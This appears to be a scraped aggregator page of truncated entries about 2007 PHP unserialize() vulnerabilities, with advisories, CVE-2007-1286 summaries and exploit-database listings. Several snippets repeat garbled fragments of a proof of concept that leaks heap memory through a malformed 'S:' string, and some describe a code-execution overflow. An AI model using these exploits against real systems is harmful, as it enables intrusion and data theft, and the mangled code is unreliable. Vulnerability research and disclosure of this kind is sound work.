MOPB-29-2007:PHP 5.2.1 unserialize() Information Leak Vulnerability

Summary The new S: data type added to PHP 5.2.1's serialisation format is completely broken. The new feature it is supposed to add, the handling of escaped strings does not work at all and leads to disclosure of heap memory content. Affected versions Affected is PHP 5.2.1 Detailed information Wit...

PHP unserialize() function information leak

Uninitiailized memory fragment is returned on "S:" string...

MOPB-unserialize.txt

1,strrepeat'"', 200."2"=1; $heapdump = unserialize$str; echo "Heapdump\n---------\n\n"; $len = strlen$heapdump; for $b=0; $b 127 || $c...

PHP 5.2.1 unserialize() Local Information Leak Exploit

No description provided by source. ?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || \ // // | |/ || '|/ |/ -| ' \ / -/ |||| /| || / //...

PHP 5.2.1 - 'Unserialize()' Local Information Leak

1,strrepeat'"', 200."2"=1; $heapdump = unserialize$str; echo "Heapdump\n---------\n\n"; $len = strlen$heapdump; for $b=0; $b$len; $b+=16 printf"%08x: ", $b; for $i=0; $i16; $i++ if $b+$i$len printf "%02x ", ord$heapdump$b+$i; else printf ".. "; for $i=0; $i16; $i++ if $b+$i$l...

PHP 5.2.1 unserialize() Local Information Leak Exploit

Exploit for multiple platform in category local exploits ====================================================== PHP 5.2.1 unserialize Local Information Leak Exploit ====================================================== 1,strrepeat'"', 200."2"=1; $heapdump = unserialize$str; echo...

PHP 5.2.1 - Unserialize() Local Information Leak

PHP 5.2.1 - Unserialize Local Information Leak 1,strrepeat'"', 200."2"=1; $heapdump = unserialize$str; echo "Heapdump\n---------\n\n"; $len = strlen$heapdump; for $b=0; $b$len; $b+=16 printf"%08x: ", $b; for $i=0; $i16; $i++ if $b+$i$len printf "%02x ", ord$heapdump$b+$i; else printf "...

Integer overflow

Integer overflow in PHP 4.4.4 and earlier allows remote context-dependent attackers to execute arbitrary code via a long string to the unserialize function, which triggers the overflow in the ZVAL reference counter...

CVE-2007-1286

Integer overflow in PHP 4.4.4 and earlier allows remote context-dependent attackers to execute arbitrary code via a long string to the unserialize function, which triggers the overflow in the ZVAL reference counter...

CVE-2007-1286: Undefined Security Weakness

Integer overflow in PHP 4.4.4 and earlier allows remote context-dependent attackers to execute arbitrary code via a long string to the unserialize function, which triggers the overflow in the ZVAL reference counter...

PHP <= 4.4.4 unserialize() ZVAL Reference Counter Overflow Exploit PoC

No description provided by source. ?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || // // | |/ || '|/ |/ -| ' / -/ |||| /| || / //...

PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)

This module exploits an integer overflow vulnerability in the unserialize function of the PHP web server extension. This vulnerability was patched by Stefan in version 4.5.0 and applies all previous versions supporting this function. This particular module targets numerous web applications and is...

PHP 4.4.4 - Unserialize() ZVAL Reference Counter Overflow (PoC)

PHP 4.4.4 - Unserialize ZVAL Reference Counter Overflow PoC ?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || \ // // | |/ || '|/ |/ -| ' \ / -/ |||| /| || / // // ||||,||| ,|||||||,| || |||||| // // // // Proof of concept code...

PHP unserialize() integer overflow

16-bit counter overflow leads to ability of code execution on parsing cookie...

PHP <= 4.4.4 unserialize() ZVAL Reference Counter Overflow Exploit PoC

Exploit for linux platform in category dos / poc ====================================================================== PHP = 4.4.4 unserialize ZVAL Reference Counter Overflow Exploit PoC ====================================================================== ?php...

MOPB-05-2007:PHP unserialize&#40;&#41; 64 bit Array Creation Denial of Service Vulnerability

Summary A user supplied serialized string might trigger on 64 bit systems a tight endless loop within zendhashinit exhausting CPU ressources. Affected versions Affected is PHP 4.4.4/5.2.0 and below. Detailed information Before PHP 4.3.11 was released it was discovered that there is a problem in t...

PHP 4.4.4 - 'Unserialize()' ZVAL Reference Counter Overflow (PoC)

?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || \ // // | |/ || '|/ |/ -| ' \ / -/ |||| /| || / // // ||||,||| ,|||||||,| || |||||| // // // // Proof of concept code from the Hardened-PHP Project // // C Copyright 2007 Stefan...

PHP &lt;= 4.4.4 unserialize() ZVAL Reference Counter Overflow Exploit PoC

No description provided by source. ?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || \ // // | |/ || '|/ |/ -| ' \ / -/ |||| /| || / // // ||||,||| ,|||||||,| || |||||| // // // // Proof of concept code from the Hardened-PHP...

MOPB-04-2007:PHP 4 unserialize&#40;&#41; ZVAL Reference Counter Overflow

Summary The Month of PHP Bugs started with one of the possible ways to exploit the 16bit reference counter of PHP 4. It was only exploitable with local access. However because PHP does not protect against these overflows anywhere there are other exploit vectors. With unserialize it is triggerable...

PHP 4.5.0 - Unserialize Overflow (Metasploit)

PHP 4.5.0 - Unserialize Overflow Metasploit $Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ requir...